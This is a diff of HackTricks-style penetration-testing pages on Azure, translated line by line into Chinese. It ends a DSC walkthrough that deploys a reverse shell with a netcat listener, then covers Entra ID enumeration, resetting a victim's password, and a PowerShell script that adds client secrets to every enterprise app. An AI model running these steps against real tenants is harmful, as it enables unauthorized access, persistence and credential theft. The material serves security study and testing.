||||
- The script is edited to specify the target Windows VM and port for the reverse shell.
|
||||
#### Step 5 — 发布配置文件
|
||||
|
||||
#### Step 5 — Publish Configuration File
|
||||
- 配置文件被执行,导致反向 shell 脚本被部署到 Windows 虚拟机的指定位置。
|
||||
|
||||
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
|
||||
|
||||
#### Step 6 — Host Payload and Setup Listener
|
||||
|
||||
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
|
||||
#### Step 6 — 托管有效负载并设置监听器
|
||||
|
||||
- 启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
- 计划任务执行有效载荷,获得SYSTEM级别的权限。
|
||||
|
||||
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
|
||||
#### 结论
|
||||
|
||||
#### Conclusion
|
||||
|
||||
The successful execution of this process opens numerous possibilities for further actions, such as credential dumping or expanding the attack to multiple VMs. The guide encourages continued learning and creativity in the realm of Azure Automation DSC.
|
||||
该过程的成功执行为进一步的操作打开了众多可能性,例如凭证转储或将攻击扩展到多个虚拟机。该指南鼓励在Azure Automation DSC领域继续学习和创造。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Active Directory (Azure AD) serves as Microsoft's cloud-based service for identity and access management. It is instrumental in enabling employees to sign in and gain access to resources, both within and beyond the organization, encompassing Microsoft 365, the Azure portal, and a multitude of other SaaS applications. The design of Azure AD focuses on delivering essential identity services, prominently including **authentication, authorization, and user management**.
|
||||
Azure Active Directory (Azure AD) 是微软基于云的身份和访问管理服务。它在使员工能够登录并访问资源方面发挥着重要作用,这些资源包括组织内部和外部的 Microsoft 365、Azure 门户以及众多其他 SaaS 应用程序。Azure AD 的设计重点在于提供基本的身份服务,尤其包括 **身份验证、授权和用户管理**。
|
||||
|
||||
Key features of Azure AD involve **multi-factor authentication** and **conditional access**, alongside seamless integration with other Microsoft security services. These features significantly elevate the security of user identities and empower organizations to effectively implement and enforce their access policies. As a fundamental component of Microsoft's cloud services ecosystem, Azure AD is pivotal for the cloud-based management of user identities.
|
||||
Azure AD 的关键特性包括 **多因素身份验证** 和 **条件访问**,以及与其他 Microsoft 安全服务的无缝集成。这些特性显著提升了用户身份的安全性,并使组织能够有效实施和执行其访问政策。作为微软云服务生态系统的基本组成部分,Azure AD 对于基于云的用户身份管理至关重要。
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
### **Connection**
|
||||
### **连接**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
az login #This will open the browser (if not use --use-device-code)
|
||||
az login -u <username> -p <password> #Specify user and password
|
||||
@@ -43,11 +42,9 @@ az find "vm" # Find vm commands
|
||||
az vm -h # Get subdomains
|
||||
az ad user list --query-examples # Get examples
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Mg" }}
|
||||
|
||||
```powershell
|
||||
# Login Open browser
|
||||
Connect-MgGraph
|
||||
@@ -72,11 +69,9 @@ Connect-MgGraph -AccessToken $secureToken
|
||||
# Find commands
|
||||
Find-MgGraphCommand -command *Mg*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzAccount #Open browser
|
||||
# Using credentials
|
||||
@@ -98,7 +93,7 @@ Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -Accou
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
$creds = New-Object
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
|
||||
|
||||
#All the Azure AD cmdlets have the format *-AzAD*
|
||||
@@ -106,33 +101,29 @@ Get-Command *azad*
|
||||
#Cmdlets for other Azure resources have the format *Az*
|
||||
Get-Command *az*
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw PS" }}
|
||||
|
||||
{{#tab name="原始 PS" }}
|
||||
```powershell
|
||||
#Using management
|
||||
$Token = 'eyJ0eXAi..'
|
||||
# List subscriptions
|
||||
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
|
||||
# Using graph
|
||||
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="curl" }}
|
||||
|
||||
```bash
|
||||
# Request tokens to access endpoints
|
||||
# ARM
|
||||
@@ -141,11 +132,9 @@ curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-
|
||||
# Vault
|
||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
Connect-AzureAD #Open browser
|
||||
# Using credentials
|
||||
@@ -157,57 +146,52 @@ Connect-AzureAD -Credential $creds
|
||||
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
|
||||
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
When you **login** via **CLI** into Azure with any program, you are using an **Azure Application** from a **tenant** that belongs to **Microsoft**. These Applications, like the ones you can create in your account, **have a client id**. You **won't be able to see all of them** in the **allowed applications lists** you can see in the console, **but they are allowed by default**.
|
||||
当你通过 **CLI** 登录 Azure 时,你正在使用一个来自 **Microsoft** 的 **租户** 的 **Azure 应用程序**。这些应用程序,像你可以在你的账户中创建的那样,**有一个客户端 ID**。你 **无法看到所有的** 在控制台中可以看到的 **允许的应用程序列表**,**但它们默认是被允许的**。
|
||||
|
||||
For example a **powershell script** that **authenticates** use an app with client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Even if the app doesn't appear in the console, a sysadmin could **block that application** so users cannot access using tools that connects via that App.
|
||||
|
||||
However, there are **other client-ids** of applications that **will allow you to connect to Azure**:
|
||||
例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
|
||||
|
||||
然而,还有 **其他客户端 ID** 的应用程序 **将允许你连接到 Azure**:
|
||||
```powershell
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
|
||||
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
|
||||
-Scope 'openid profile Sites.Read.All User.Read email' `
|
||||
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
|
||||
$token = Invoke-Authorize -Credential $credential `
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
|
||||
-Scope 'openid' `
|
||||
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
|
||||
-Verbose -Debug `
|
||||
-InformationAction Continue
|
||||
```
|
||||
|
||||
### Tenants
|
||||
### 租户
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List tenants
|
||||
az account tenant list
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Users
|
||||
### 用户
|
||||
|
||||
For more information about Entra ID users check:
|
||||
有关 Entra ID 用户的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -215,7 +199,6 @@ For more information about Entra ID users check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Enumerate users
|
||||
az ad user list --output table
|
||||
@@ -245,7 +228,7 @@ az role assignment list --include-inherited --include-groups --include-classic-a
|
||||
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
|
||||
## Get users
|
||||
curl -X GET "https://graph.microsoft.com/v1.0/users" \
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
|
||||
## Get EntraID roles assigned to an user
|
||||
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
@@ -256,11 +239,9 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H "Content-Type: application/json" | jq
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Users
|
||||
Get-AzureADUser -All $true
|
||||
@@ -296,11 +277,9 @@ Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAp
|
||||
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
|
||||
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate users
|
||||
Get-AzADUser
|
||||
@@ -312,21 +291,18 @@ Get-AzADUser | ?{$_.Displayname -match "admin"}
|
||||
# Get roles assigned to a user
|
||||
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Change User Password
|
||||
|
||||
#### 更改用户密码
|
||||
```powershell
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
It's highly recommended to add MFA to every user, however, some companies won't set it or might set it with a Conditional Access: The user will be **required MFA if** it logs in from an specific location, browser or **some condition**. These policies, if not configured correctly might be prone to **bypasses**. Check:
|
||||
强烈建议为每个用户添加 MFA,然而,一些公司可能不会设置它,或者可能会通过条件访问进行设置:用户将被 **要求 MFA 如果** 从特定位置、浏览器或 **某些条件** 登录。如果这些策略配置不正确,可能会容易受到 **绕过**。检查:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -334,7 +310,7 @@ It's highly recommended to add MFA to every user, however, some companies won't
|
||||
|
||||
### Groups
|
||||
|
||||
For more information about Entra ID groups check:
|
||||
有关 Entra ID 组的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -342,7 +318,6 @@ For more information about Entra ID groups check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate groups
|
||||
az ad group list
|
||||
@@ -369,11 +344,9 @@ az role assignment list --include-groups --include-classic-administrators true -
|
||||
|
||||
# To get Entra ID roles assigned check how it's done with users and use a group ID
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Enumerate Groups
|
||||
Get-AzureADGroup -All $true
|
||||
@@ -399,11 +372,9 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
# Get Apps where a group has a role (role not shown)
|
||||
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get all groups
|
||||
Get-AzADGroup
|
||||
@@ -417,29 +388,26 @@ Get-AzADGroupMember -GroupDisplayName <resource_group_name>
|
||||
# Get roles of group
|
||||
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Add user to group
|
||||
|
||||
Owners of the group can add new users to the group
|
||||
#### 将用户添加到组
|
||||
|
||||
组的所有者可以将新用户添加到组中
|
||||
```powershell
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Groups can be dynamic, which basically means that **if a user fulfil certain conditions it will be added to a group**. Of course, if the conditions are based in **attributes** a **user** can **control**, he could abuse this feature to **get inside other groups**.\
|
||||
> Check how to abuse dynamic groups in the following page:
|
||||
> 组可以是动态的,这基本上意味着 **如果用户满足某些条件,它将被添加到组中**。当然,如果条件基于 **属性**,而 **用户** 可以 **控制**,他可能会滥用此功能以 **进入其他组**。\
|
||||
> 请查看如何在以下页面滥用动态组:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
### Service Principals
|
||||
### 服务主体
|
||||
|
||||
For more information about Entra ID service principals check:
|
||||
有关 Entra ID 服务主体的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -447,7 +415,6 @@ For more information about Entra ID service principals check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get Service Principals
|
||||
az ad sp list --all
|
||||
@@ -464,11 +431,9 @@ az ad sp list --show-mine
|
||||
# Get SPs with generated secret or certificate
|
||||
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# Get Service Principals
|
||||
Get-AzureADServicePrincipal -All $true
|
||||
@@ -487,11 +452,9 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedO
|
||||
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
|
||||
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get SPs
|
||||
Get-AzADServicePrincipal
|
||||
@@ -502,155 +465,149 @@ Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
|
||||
# Get roles of a SP
|
||||
Get-AzRoleAssignment -ServicePrincipalName <String>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Raw" }}
|
||||
|
||||
```powershell
|
||||
$Token = 'eyJ0eX..'
|
||||
$URI = 'https://graph.microsoft.com/v1.0/applications'
|
||||
$RequestParams = @{
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
Method = 'GET'
|
||||
Uri = $URI
|
||||
Headers = @{
|
||||
'Authorization' = "Bearer $Token"
|
||||
}
|
||||
}
|
||||
(Invoke-RestMethod @RequestParams).value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> The Owner of a Service Principal can change its password.
|
||||
> 服务主体的所有者可以更改其密码。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List and try to add a client secret on each Enterprise App</summary>
|
||||
|
||||
<summary>列出并尝试在每个企业应用上添加客户端密钥</summary>
|
||||
```powershell
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
.SYNOPSIS
|
||||
Add client secret to the applications.
|
||||
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
.PARAMETER GraphToken
|
||||
Pass the Graph API Token
|
||||
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
.EXAMPLE
|
||||
PS C:\> Add-AzADAppSecret -GraphToken 'eyJ0eX..'
|
||||
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
.LINK
|
||||
https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http
|
||||
https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]
|
||||
$GraphToken = $null
|
||||
)
|
||||
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
$AppList = $null
|
||||
$AppPassword = $null
|
||||
|
||||
# List All the Applications
|
||||
# List All the Applications
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications"
|
||||
"Method" = "GET"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppList = Invoke-RestMethod @Params -UseBasicParsing
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
# Add Password in the Application
|
||||
# Add Password in the Application
|
||||
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
if($AppList -ne $null)
|
||||
{
|
||||
[System.Collections.ArrayList]$Details = @()
|
||||
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
foreach($App in $AppList.value)
|
||||
{
|
||||
$ID = $App.ID
|
||||
$psobj = New-Object PSObject
|
||||
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
$Params = @{
|
||||
"URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
|
||||
"Method" = "POST"
|
||||
"Headers" = @{
|
||||
"Content-Type" = "application/json"
|
||||
"Authorization" = "Bearer $GraphToken"
|
||||
}
|
||||
}
|
||||
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
$Body = @{
|
||||
"passwordCredential"= @{
|
||||
"displayName" = "Password"
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
try
|
||||
{
|
||||
$AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
|
||||
Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
|
||||
$Details.Add($psobj) | Out-Null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Output "Failed to add new client secret to '$($App.displayName)' Application."
|
||||
}
|
||||
}
|
||||
if($Details -ne $null)
|
||||
{
|
||||
Write-Output ""
|
||||
Write-Output "Client secret added to : "
|
||||
Write-Output $Details | fl *
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Output "Failed to Enumerate the Applications."
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Applications
|
||||
### 应用程序
|
||||
|
||||
For more information about Applications check:
|
||||
有关应用程序的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
When an App is generated 2 types of permissions are given:
|
||||
当生成一个应用时,会给予两种类型的权限:
|
||||
|
||||
- **Permissions** given to the **Service Principal**
|
||||
- **Permissions** the **app** can have and use on **behalf of the user**.
|
||||
- **权限** 授予 **服务主体**
|
||||
- **权限** 应用可以在 **用户的代表** 下拥有和使用。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Apps
|
||||
az ad app list
|
||||
@@ -666,11 +623,9 @@ az ad app list --show-mine
|
||||
# Get apps with generated secret or certificate
|
||||
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Azure AD" }}
|
||||
|
||||
```powershell
|
||||
# List all registered applications
|
||||
Get-AzureADApplication -All $true
|
||||
@@ -681,11 +636,9 @@ Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredentia
|
||||
# Get owner of an application
|
||||
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get Apps
|
||||
Get-AzADApplication
|
||||
@@ -696,26 +649,25 @@ Get-AzADApplication | ?{$_.DisplayName -match "app"}
|
||||
# Get Apps with password
|
||||
Get-AzADAppCredential
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> An app with the permission **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** by grating itself the role.\
|
||||
> For more information [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> 拥有权限 **`AppRoleAssignment.ReadWrite`** 的应用可以 **提升为全局管理员** 通过授予自己该角色。\
|
||||
> 更多信息请 [**查看此处**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。
|
||||
|
||||
> [!NOTE]
|
||||
> A secret string that the application uses to prove its identity when requesting a token is the application password.\
|
||||
> So, if find this **password** you can access as the **service principal** **inside** the **tenant**.\
|
||||
> Note that this password is only visible when generated (you could change it but you cannot get it again).\
|
||||
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
|
||||
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
|
||||
> 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\
|
||||
> 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\
|
||||
> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\
|
||||
> **应用** 的 **所有者** 可以 **添加密码** 到它(这样他可以冒充它)。\
|
||||
> 作为这些服务主体的登录 **不会被标记为风险**,并且它们 **不会有 MFA。**
|
||||
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。
|
||||
|
||||
### Managed Identities
|
||||
### 托管身份
|
||||
|
||||
For more information about Managed Identities check:
|
||||
有关托管身份的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -723,19 +675,17 @@ For more information about Managed Identities check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all manged identities
|
||||
az identity list --output table
|
||||
# With the principal ID you can continue the enumeration in service principals
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure Roles
|
||||
### Azure 角色
|
||||
|
||||
For more information about Azure roles check:
|
||||
有关 Azure 角色的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -743,7 +693,6 @@ For more information about Azure roles check:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get roles
|
||||
az role definition list
|
||||
@@ -765,11 +714,9 @@ az role assignment list --assignee "<email>" --all --output table
|
||||
# Get all the roles assigned to a user by filtering
|
||||
az role assignment list --all --query "[?principalName=='carlos@carloshacktricks.onmicrosoft.com']" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# Get role assignments on the subscription
|
||||
Get-AzRoleDefinition
|
